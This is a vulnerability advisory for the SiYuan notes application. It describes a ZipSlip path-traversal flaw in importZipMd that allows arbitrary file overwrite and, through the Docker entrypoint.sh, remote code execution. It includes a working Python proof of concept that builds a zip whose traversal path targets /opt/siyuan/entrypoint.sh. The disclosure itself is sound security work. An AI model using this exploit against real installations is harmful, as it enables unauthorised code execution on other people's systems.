SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip:

#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"
    
    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)
        
        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container